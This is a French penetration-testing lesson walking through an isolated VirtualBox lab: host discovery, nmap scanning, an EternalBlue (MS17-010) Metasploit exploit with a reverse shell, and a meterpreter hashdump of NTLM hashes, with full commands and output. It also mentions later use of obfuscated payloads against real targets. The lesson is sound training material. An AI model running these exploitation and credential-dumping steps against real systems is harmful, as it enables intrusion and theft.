Aller au contenu principal

Introduction et Kali — Démonstration guidée

On arrête la théorie. On monte le laboratoire, on scanne, on obtient un shell. Vous allez voir de vos yeux la première machine tomber. Ensuite, en atelier, vous le referez seul(e).

Rappel — laboratoire fermé, uniquement

Toutes les commandes de cette leçon sont exécutées entre deux VM sur votre poste, sur un réseau isolé de l'internet et du LAN. Aucune d'elles ne doit sortir vers l'extérieur. Si vous ne pouvez pas garantir l'isolement, arrêtez ici et allez d'abord lire la section « Réseau isolé » plus bas.

Ce que vous saurez faire après cette leçon

  • Monter un laboratoire attaquant + victime en trente minutes.
  • Découvrir la victime sans connaître son IP à l'avance.
  • Lire la sortie de nmap sans deviner — savoir ce que chaque colonne dit.
  • Obtenir un premier shell avec Metasploit sur une faille historique (EternalBlue, MS17-010).
  • Comprendre à quoi ressemble une preuve utilisable en rapport.

Le décor

Deux VM, une seule et unique règle : elles ne se parlent qu'entre elles.

MachineRôleAdresse dans le lab
Kali LinuxPoste attaquant. C'est vous.10.10.10.5
Metasploitable 3 (Windows)Cible volontairement vulnérable.Inconnue au départ, quelque part dans 10.10.10.0/24.

Metasploitable 3 est la machine d'entraînement officielle publiée par Rapid7 (l'éditeur de Metasploit). Elle est faite pour être détruite. Vous pouvez aussi utiliser un Windows 7 non patché avec SMBv1 activé.


Étape 0 — Le réseau isolé (indispensable)

Dans VirtualBox : File → Host Network Manager → Create. Cochez DHCP disabled, mettez l'hôte en 10.10.10.1/24.

Dans les deux VM : Settings → Network → Adapter 1 → Host-only Adapter, choisir le réseau créé.

Vérification (sur Kali) :

ip -brief address

Sortie attendue :

lo               UNKNOWN        127.0.0.1/8
eth0 UP 10.10.10.5/24

Un ping 8.8.8.8 doit échouer :

From 10.10.10.5 icmp_seq=1 Destination Host Unreachable

Bien. Si le ping passe, votre lab n'est pas isolé — corrigez avant de continuer.


Étape 1 — Trouver la cible (ARP scan)

Vous ne connaissez pas l'IP de la victime. Vous ne la demanderez pas : on la cherche.

sudo netdiscover -r 10.10.10.0/24 -P

Sortie typique après 20 secondes :

 Currently scanning: Finished!   |   Screen View: Unique Hosts

IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------
10.10.10.1 0a:00:27:00:00:0a 1 42 Cadmus Computer Systems
10.10.10.12 08:00:27:c3:5f:1e 1 42 PCS Systemtechnik GmbH

Lecture :

  • 10.10.10.1 est votre hôte VirtualBox (à ignorer).
  • 10.10.10.12 est la cible. Le fabricant PCS Systemtechnik est la signature VirtualBox — c'est bien une VM.

Notez l'IP. Elle est à vous pour la suite.


Étape 2 — Scanner les ports (nmap)

Ne partez pas dans un nmap -A --script=vuln 10.10.10.12 d'un coup. On avance en couches, du plus discret au plus bavard.

2a. Ports ouverts, rien d'autre

nmap -sS -Pn -p- --min-rate 2000 10.10.10.12 -oN scan-ports.txt
  • -sS : SYN scan. On envoie le premier paquet TCP, on lit la réponse, on ne finit pas la poignée de main. Rapide, moins de traces qu'un scan complet.
  • -Pn : ne pas pinger d'abord — la cible peut ignorer l'ICMP.
  • -p- : les 65 535 ports, pas seulement les 1000 par défaut.
  • --min-rate 2000 : accélérer un peu (à ne pas faire en prod).
  • -oN : sortie lisible dans un fichier, pour votre rapport.

Extrait de sortie :

PORT      STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
3389/tcp open ms-wbt-server
4848/tcp open appserv-http
8080/tcp open http-proxy

Lecture :

  • 22, 80, 3389 : SSH, web, RDP — le trio classique.
  • 445 + 139 : partage de fichiers Windows (SMB). C'est le port qui nous intéresse. SMB est historiquement une mine à failles.
  • 3306 : MySQL exposé. À noter pour plus tard.

2b. Versions des services

Maintenant on demande à chaque service de se présenter :

nmap -sV -p 22,80,135,139,445,3389,8080 10.10.10.12 -oN scan-versions.txt

Extrait clé :

PORT    STATE SERVICE       VERSION
80/tcp open http Microsoft IIS httpd 7.5
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

Traduction : Windows Server 2008 R2 avec SMB en écoute. Windows Server 2008 R2 = date de sortie 2009 = jackpot. Un OS de cette génération, s'il n'a pas été patché, est vulnérable à MS17-010 (nom d'exploit : EternalBlue), la faille publiée par la fuite Shadow Brokers en 2017.

2c. Confirmer la vulnérabilité (script NSE)

nmap --script smb-vuln-ms17-010 -p 445 10.10.10.12

Sortie attendue :

| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143

Le mot VULNERABLE est en majuscules pour une bonne raison. La machine est à nous. Il ne reste qu'à passer à l'acte.


Étape 3 — Prendre le contrôle avec Metasploit

Metasploit est un framework. Vous chargez un module (l'exploit), vous lui donnez ses options (la cible), vous lancez.

msfconsole -q

-q supprime la bannière ASCII (que tout le monde a vue 500 fois).

Dans la console msf6 > :

search ms17-010

Sortie :

   #  Name                                      Rank     Description
- ---- ---- -----------
0 exploit/windows/smb/ms17_010_eternalblue average MS17-010 EternalBlue
1 auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection

On prend le n° 0 :

use 0
show options

Metasploit affiche les paramètres. Trois seulement à régler :

set RHOSTS 10.10.10.12
set LHOST 10.10.10.5
set LPORT 4444
  • RHOSTS — la victime.
  • LHOST — votre Kali (là où le shell va se connecter en retour).
  • LPORT — le port d'écoute chez vous.

On lance :

exploit

Sortie (les lignes qui comptent) :

[*] Started reverse TCP handler on 10.10.10.5:4444
[*] 10.10.10.12:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.12:445 - Host is likely VULNERABLE to MS17-010!
[*] 10.10.10.12:445 - Connecting to target for exploitation.
[+] 10.10.10.12:445 - Connection established for exploitation.
[*] 10.10.10.12:445 - Sending final SMBv1 buffers.
[*] 10.10.10.12:445 - Sending last fragment of exploit packet!
[*] 10.10.10.12:445 - Receiving response from exploit packet
[+] 10.10.10.12:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Sending stage (200262 bytes) to 10.10.10.12
[*] Meterpreter session 1 opened (10.10.10.5:4444 -> 10.10.10.12:49670)

meterpreter >

Ce meterpreter > change tout. Vous êtes dedans.


Étape 4 — Confirmer, et prendre la preuve

Vérifiez qui vous êtes :

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM. Le compte le plus élevé sur Windows. Pas administrateur : au-dessus. Vous êtes le système lui-même.

Vérifiez vous êtes :

meterpreter > sysinfo
Computer : METASPLOITABLE3
OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows

Et prenez une preuve que vous pourrez coller dans le rapport :

meterpreter > screenshot
Screenshot saved to: /home/kali/gGpJKlmA.jpeg

Ouvrez le fichier : le bureau de la victime, avec l'horodatage. C'est votre proof of pwn.

Pour le fun (et pour illustrer l'impact) :

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::

Les empreintes NTLM des comptes locaux. Vous ne les crackerez pas ici — ce sera l'objet du module 9. Le fait de les posséder suffit pour le rapport.

Fermez proprement :

meterpreter > exit
[*] Shutting down Meterpreter...

Ce qui vient de se passer, en une image mentale

  1. Deux VM sur un réseau fermé.
  2. netdiscover a trouvé la cible.
  3. nmap a listé les portes ouvertes, puis les services derrière.
  4. Un script nmap a désigné la faille exploitable.
  5. Metasploit a livré l'exploit et récupéré le shell.
  6. En quatre commandes, vous êtes SYSTEM, avec captures et hashes.

C'est exactement la séquence que l'on fera treize fois, dans des variantes différentes, jusqu'à la fin du cours.


Là où cela dérape, et pourquoi

  • netdiscover ne trouve rien. Vos deux VM ne sont pas sur le même host-only network. Vérifiez dans les paramètres des deux VM.
  • nmap dit filtered partout. Un pare-feu (Windows Defender Firewall) intercepte. Sur Metasploitable, désactivez le pare-feu de la VM ; sur une cible réelle, changez de technique (module 4).
  • L'exploit rend un Exploit aborted due to failure: no-target. La cible n'est pas 2008 R2, ou SMBv1 est désactivé. Refaites le nmap --script smb-vuln-ms17-010. Si NOT VULNERABLE, changez de faille.
  • La session meterpreter meurt en 2 secondes. Antivirus. Sur ce module, aucun. Sur un vrai target, on passera à des payloads obfusqués (module 8).

Aller plus loin, tout de suite

Refaites la même séquence, mais avec la variante :

nmap -A -p 445 10.10.10.12

-A cumule détection d'OS, détection de versions, scripts par défaut et traceroute. C'est le scan bruyant. Comparez la sortie avec le scan en couches — vous verrez que la même information vous parvient d'un coup, mais qu'un IDS l'aurait vue arriver de loin.

C'est tout l'enjeu du reste du cours : la même chose, mais discrètement.